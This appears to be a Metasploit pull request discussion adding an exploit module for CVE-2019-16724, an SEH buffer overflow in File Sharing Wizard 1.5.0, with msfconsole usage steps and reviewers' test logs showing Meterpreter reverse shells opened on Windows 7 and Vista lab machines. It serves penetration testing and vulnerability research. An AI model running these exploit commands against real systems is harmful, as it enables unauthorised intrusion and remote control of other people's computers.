File sharing wizard seh module CVE 2019-16724

[dwelch-r7]

Adds a new module for exploiting CVE 2019-16724 in File Sharing wizard version 1.5.0

Tested against windows 7 32 bit SP1

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• Run the exploit:

use exploit/windows/http/file_sharing_wizard_seh
set RHOST 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD windows/x64/exec
set CMD calc.exe
run

• Verify calc pops up

[bcoles]

Tested on Win 7 Ultimate SP1 (x86) - (with a few edits as per above review).

msf5 exploit(windows/http/file_sharing_wizard_seh) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] 172.16.191.222:80 - Connecting to target
[*] 172.16.191.222:80 - Sending payload to target
[*] Sending stage (180291 bytes) to 172.16.191.222
[*] Meterpreter session 1 opened (172.16.191.165:4444 -> 172.16.191.222:49227) at 2019-10-05 07:31:12 -0400

meterpreter > getuid
Server username: WIN-7-ULTIMATE-\user
meterpreter > sysinfo
Computer        : WIN-7-ULTIMATE-
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > 

[bcoles]

Also works on Windows Vista Home Premium (x86).

msf5 exploit(windows/http/file_sharing_wizard_seh) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[*] 172.16.191.223:80 - Connecting to target
[*] 172.16.191.223:80 - Sending payload to target
[*] Sending stage (180291 bytes) to 172.16.191.223
[*] Meterpreter session 3 opened (172.16.191.165:4444 -> 172.16.191.223:49258) at 2019-10-05 13:13:16 -0400

meterpreter > sysinfo
Computer        : LH-MPPGQR2OWECW
OS              : Windows Vista (6.0 Build 6000).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x86/windows
meterpreter > 

[busterb]

Release Notes

This adds an exploit module for CVE 2019-16724 in File Sharing wizard version 1.5.0. It allows a remote attacker to obtain arbitrary code execution by exploiting a Structured Exception Handler (SEH) based buffer overflow in an HTTP POST parameter.